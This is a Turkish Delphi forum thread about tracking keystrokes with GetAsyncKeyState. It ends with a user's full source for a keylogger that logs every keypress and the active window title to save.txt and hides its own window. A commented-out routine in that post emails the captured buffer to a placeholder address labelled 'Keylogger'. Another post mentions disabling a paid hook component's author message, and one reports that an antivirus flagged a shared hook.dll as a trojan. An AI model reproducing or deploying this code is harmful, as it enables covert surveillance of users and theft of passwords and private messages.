tuş takibi

Delphi'de kod yazma ile ilgili sorularınızı bu foruma yazabilirsiniz.
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

teşekkürler, dll ile olanı çalıştırmıştım. Çalışmayan, tek dosyada olduğu için denemek istemiştim. diğerinde dll ide taşımak lazım.
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4741
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

Anladım.. memnun oldum....

- Önceki mesajımda da bahsettiğim gibi DLL gerekliliğinin sebebi varmış... Bunu ben de sonradan öğrendim ve Edit edip bildirmek istedim...

- Kernel yapısı NT tabanlı sistemlerde farklı (kaynak kullanımından da belli aslında) olduğundan bu fonksiyonu çıkarmış olabilirler... Services'tekilerde benzer bir fonksiyon da vardır ama onu araştırmak lazım... DLL çözüyorsa zamandan tasarruftur...

- Çalışmalarında başarılar...
Resim
Resim ....Resim
Kullanıcı avatarı
MicroChip
Kıdemli Üye
Mesajlar: 1119
Kayıt: 02 Ağu 2003 01:02
Konum: İstanbul
İletişim:

Mesaj gönderen MicroChip »

Valla ben
evde Win98 + Delphi5 Ent.
işyerinde XP + Delphi5 Ent. kullanıyorum her iki yerde de bu verdiğim örneği çalıştırdım hiç bir sorun da yaşamadım hatta şu an burada yazıyı yazarken bile kayıt devam ediyor :)

Saygılar
Kafkas Kartalı Kabarday
Sitesi!= http://www.ahmetceylan.com
Resim
Kullanıcı avatarı
BadTroy
Üye
Mesajlar: 10
Kayıt: 08 Ara 2003 11:07
Konum: İstanbul

Mesaj gönderen BadTroy »

MicroChip yazdı: if GetAsyncKeyState(i)=-32767 then

microchip bu kodla ilgili sormak istediğim bir şey var.

=-32767 ne anlama geliyor.

ben bu sayıyı yazmadan yapıyorum hatta çoğu zaman "<> 0" yapıyorum ve timer in interval = 1 de iken bir tışa bastığım zaman tuşa basıp çekme esnasında aynı harfi 10 defa yazardı.vede hızlı yazıdığımda çoğu harfi kaçırırdı.
ama bu sayıyı yazınca sorunsuz çalışıyor ??
We Trust Tyler
aliyonca
Üye
Mesajlar: 34
Kayıt: 06 Ara 2004 04:57
Konum: GEBZE/KOCAELİ

Mesaj gönderen aliyonca »

Bu program ne işe yarıyabilir... yani bunu aramanızın sebebi nedir?... Lütfen bir örnek verin merak etim...

Benimde bir derdim var... bu tuşları izleyebiliyorsak, engelleyebilirizde değil mi?... Ben işte bunu yapmak istiyorum... Benim programımdan çıkmadıkça "başlat açılmasın, alt + F4 çalışmasın v.s. " yani pogram kapatılmadan başka birşey çalışmasın...

Herkese çok teşekkürler... Kolay gelsin....
www.DelphiTurkiye.com u Çok Seviyorum :)
Kullanıcı avatarı
Karinca
Üye
Mesajlar: 239
Kayıt: 25 Ağu 2004 07:06
Konum: http://localserver/
İletişim:

Mesaj gönderen Karinca »

Hocam Bende Giriş Bağlantı Noktası Bulunamadı diye hata veriyo.

1487192 yordam giriş noktası, kernel32.dll dinamik bağlantı kitaplığında bulunamadı die hata veriyo.

Ne yapabilirim acaba ??
cihana hakan olmak bir kuru kavga imiş
bir mürşide bende olmak cümleden evla imiş
h.z. Fatih


Resim
aLonE CoDeR
Kıdemli Üye
Mesajlar: 1223
Kayıt: 26 Nis 2005 04:08

Mesaj gönderen aLonE CoDeR »

Merhaba.
Delphi 5'ten kaynaklanıyor sorununuz (bildiğim kadarıyla)..Özellikle delphi7 ve xp için bir component ve dll yazmışlar, ancak 19 $ istiyorlar böyle basit bir şey için..Aksi halde dll hook işlemine başlamadan önce yazan kişiye ait bilgileri mesaj olarak veriyor..Böyle basit bir şey için ücret talep edilmesini absürd karşıladığımızdan mesaj vermesini engellemek durumunda kaldık.

@MicroChip;
Api ve Timer nesnesi ile yapınca hızlı klavye kullanan birisinin yazdıklarını çözmek gerçekten güç oluyor..Zira bazı tuşları çift (hatta 3), bazılarını ise hiç yazmıyor..Bilginize..

Saygılarımla.
Kullanıcı avatarı
pro_imaj
Kıdemli Üye
Mesajlar: 1364
Kayıt: 18 Oca 2005 05:45
Konum: Dünyadan

Mesaj gönderen pro_imaj »

Merhaba,

1487192 yordam giriş noktası, kernel32.dll dinamik bağlantı kitaplığında bulunamadı diye hata msj bendede veriyor.

saygılarımla
Gün gelecek, dilleri, elleri ve ayakları yapmış oldukları bütün kötülükleri tek tek bildirerek aleyhlerinde şahitlik edecektir. [Nur Suresi 24]
_________________
Kullanıcı avatarı
sherlockholmes
Kıdemli Üye
Mesajlar: 930
Kayıt: 19 Tem 2004 09:13

Mesaj gönderen sherlockholmes »

selam arkadaşlar ,

bu başlıkta hook.dll ile verilen örnek f-secure'un virus korumasına takıldı , hook.dll dosyası f-secure tarafından trojan içerdiği gerekçesiyle silindi

@microchip'in verdiği örneği 1478096 yordam giriş noktası , KERNEl32.dll dinamik bağlantı kitaplığında bulunamadı hatasını verdi ve çalışmadı.

sitem win xp , delphi 7.0

aşağıdaki kod , kısmi olarak tuşları takip ediyor ancak şu eksikleri var , eksikleri giderme noktasında görüşlerinizi almak istiyorum.

-program türkçe karakterleri görmüyor
-num lock açık iken num lock'tan girilen karakterleri görmüyor
-birden fazla tuşa aynı anda basma durumunda başarılı sonuç vermiyor

Kod: Tümünü seç

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls,  StdCtrls, registry;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer3: TTimer;
    procedure Timer1Timer(Sender: TObject);
    //procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);

  private
    { Private declarations }
  public
  procedure kaydet(basilan_tus:string);
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:string;
  VentanaActual:String;
  VentanaAnterior:String;
  F: Textfile;

implementation

{$R *.DFM}




procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var  PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CONTROL)=-32767 then
 letra:=' -Control- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_MENU)=-32767 then
 letra:=' -Alt- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 if GetAsyncKeyState(240)=-32767 then
  letra:='ğ';


 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    240:Letra:='ğ';
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      VentanaAnterior:=VentanaActual;
      VentanaActual:=VentanaActiva;

   If (ventanaActual='üı') or (ventanaActual='') then
      Exit;
      If ventanaAnterior<>VentanaActiva then
       Begin
        Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
        Buffer:=Buffer+Letra;
        //ShowMessage(Buffer);
        kaydet(Letra);

       End
      Else
       Begin
        if letra <> TeclaAnterior then
         Begin
          TeclaAnterior:=Letra;
          Buffer:=Buffer+Letra;
          //ShowMessage(Buffer);
          kaydet(Letra);
         End;
       End;
      End;
end;

{procedure TForm1.Timer2Timer(Sender: TObject);
begin
Mail.Host:='YOUR SMTP SERVER HERE';
Mail.PostMessage.Create;
Mail.UserID:='guest';
Mail.PostMessage.FromAddress:='key@logger.com';
Mail.PostMessage.FromName:='Keylogger';
Mail.PostMessage.ToAddress.Add('YOUR E-MAIL ADDRESS HERE');
Mail.PostMessage.Body.Add(buffer);
Mail.PostMessage.Date:=DateTimeToStr(now);
If mail.connected=true then
 mail.Disconnect;
Mail.Connect;
Mail.SendMail;
Mail.Disconnect;
buffer:='';
buffer:=buffer+DateToStr(now);
end;
}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin

Buffer:=buffer+DateToStr(now);
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
Form1.hide;
end;

procedure TForm1.kaydet(basilan_tus: string);
const
 dosya_adi='save.txt' ;
begin

  Assignfile(F, dosya_adi);
  if not FileExists(dosya_adi) then
  begin
    Rewrite(F);
    Closefile(F);
  end
  else
    Assignfile(F, dosya_adi);
{$I-}
  Append(F);
{$I+}
  if IOResult <> 0 then
  begin
    ShowMessage('Cannot Open File');
  end;
  Write(F, basilan_tus);
  Closefile(F);
end;

end.
y = e^x fonksiyonu hangimizi etkilememiştir ki? Küllerinden hayat bulan Zümrüd-ü Anka kuşu gibi, türevi yine kendisidir.
Cevapla